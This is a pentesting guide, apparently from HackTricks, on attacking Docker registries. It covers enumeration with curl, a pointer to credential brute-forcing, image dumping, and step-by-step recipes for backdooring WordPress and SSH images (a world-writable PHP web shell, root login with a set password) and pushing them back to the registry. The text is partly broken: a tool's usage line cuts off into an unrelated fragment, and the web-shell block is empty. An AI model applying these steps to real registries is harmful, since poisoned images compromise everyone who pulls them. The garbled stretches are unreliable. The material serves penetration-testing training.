{% endhint %} ## Basic Information A storage and distribution system known as a **Docker registry** is in place for Docker images that are named and may come in multiple versions, distinguished by tags. These images are organized within **Docker repositories** in the registry, each repository storing various versions of a specific image. The functionality provided allows for images to be downloaded locally or uploaded to the registry, assuming the user has the necessary permissions. **DockerHub** serves as the default public registry for Docker, but users also have the option to operate an on-premise version of the open-source Docker registry/distribution or opt for the commercially supported **Docker Trusted Registry**. Additionally, various other public registries can be found online. To download an image from an on-premise registry, the following command is used: ```bash docker pull my-registry:9000/foo/bar:2.1 ``` This command fetches the `foo/bar` image version `2.1` from the on-premise registry at the `my-registry` domain on port `9000`. Conversely, to download the same image from DockerHub, particularly if `2.1` is the latest version, the command simplifies to: ```bash docker pull foo/bar ``` **Default port:** 5000 ``` PORT STATE SERVICE VERSION 5000/tcp open http Docker Registry (API: 2.0) ``` ## Discovering The easiest way to discover this service running is get it on the output of nmap. Anyway, note that as it's a HTTP based service it can be behind HTTP proxies and nmap won't detect it.\ Some fingerprints: * If you access `/` nothing is returned in the response * If you access `/v2/` then `{}` is returned * If you access `/v2/_catalog` you may obtain: * `{"repositories":["alpine","ubuntu"]}` * `{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}` ## Enumeration ### HTTP/HTTPS Docker registry may be configured to use **HTTP** or **HTTPS**. So the first thing you may need to do is **find which one** is being configured: ```bash curl -s http://10.10.10.10:5000/v2/_catalog #If HTTPS Warning: Binary output can mess up your terminal. Use "--output -" to tell Warning: curl to output it to your terminal anyway, or consider "--output Warning: " to save to a file. #If HTTP {"repositories":["alpine","ubuntu"]} ``` ### Authentication Docker registry may also be configured to require **authentication**: ```bash curl -k https://192.25.197.3:5000/v2/_catalog #If Authentication required {"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]} #If no authentication required {"repositories":["alpine","ubuntu"]} ``` If the Docker Registry is requiring authentication you can[ **try to brute force it using this**](../generic-methodologies-and-resources/brute-force.md#docker-registry).\ **If you find valid credentials you will need to use them** to enumerate the registry, in `curl` you can use them like this: ```bash curl -k -u username:password https://10.10.10.10:5000/v2/_catalog ``` ### Enumeration using DockerRegistryGrabber [DockerRegistryGrabber](https://github.com/Syzik/DockerRegistryGrabber) is a python tool to enumerate / dump docker degistry (without or with basic authentication) ```bash usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump

this,inspect the new folders and files created in the current directory ``` {% hint style="warning" %} Note that when you download and decompress the blobs files and folders will appear in the current

It may be interesting to decompress each blob inside a different folder to inspect the exact content of each blob. {% endhint %} ### Enumeration using docker ```bash #Once you know which images the server is saving (/v2/_catalog) you can pull them docker pull 10.10.10.10:5000/ubuntu #Check the commands used to create the layers of the image docker history 10.10.10.10:5000/ubuntu #IMAGE CREATED CREATED BY SIZE COMMENT #ed05bef01522 2 years ago ./run.sh 46.8MB # 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B # 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B # 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B # 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB #Run and get a shell docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running docker ps #Using a different shell docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container ``` ### Backdooring WordPress image In the scenario where you have found a Docker Registry saving a wordpress image you can backdoor it.\ **Create** the **backdoor**: {% code title="shell.php" %} ```bash ``` {% endcode %} Create a **Dockerfile**: {% code title="Dockerfile" %} ```bash FROM 10.10.10.10:5000/wordpress COPY shell.php /app/ RUN chmod 777 /app/shell.php ``` {% endcode %} **Create** the new image, **check** it's created, and **push** it: ```bash docker build -t 10.10.10.10:5000/wordpress . #Create docker images docker push registry:5000/wordpress #Push it ``` ### Backdooring SSH server image Suppose that you found a Docker Registry with a SSH image and you want to backdoor it.\ **Download** the image and **run** it: ```bash docker pull 10.10.10.10:5000/sshd-docker-cli docker run -d 10.10.10.10:5000/sshd-docker-cli ``` Extract the `sshd_config` file from the SSH image: ```bash docker cp 4c989242c714:/etc/ssh/sshd_config . ``` And modify it to set: `PermitRootLogin yes` Create a **Dockerfile** like the following one: {% tabs %} {% tab title="Dockerfile" %} ```bash FROM 10.10.10.10:5000/sshd-docker-cli COPY sshd_config /etc/ssh/ RUN echo root:password | chpasswd ``` {% endtab %} {% endtabs %} **Create** the new image, **check** it's created, and **push** it: ```bash docker build -t 10.10.10.10:5000/sshd-docker-cli . #Create docker images docker push registry:5000/sshd-docker-cli #Push it ``` ## References * [https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/](https://www.aquasec.com/cloud-native-academy/docker-container/docker-registry/) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
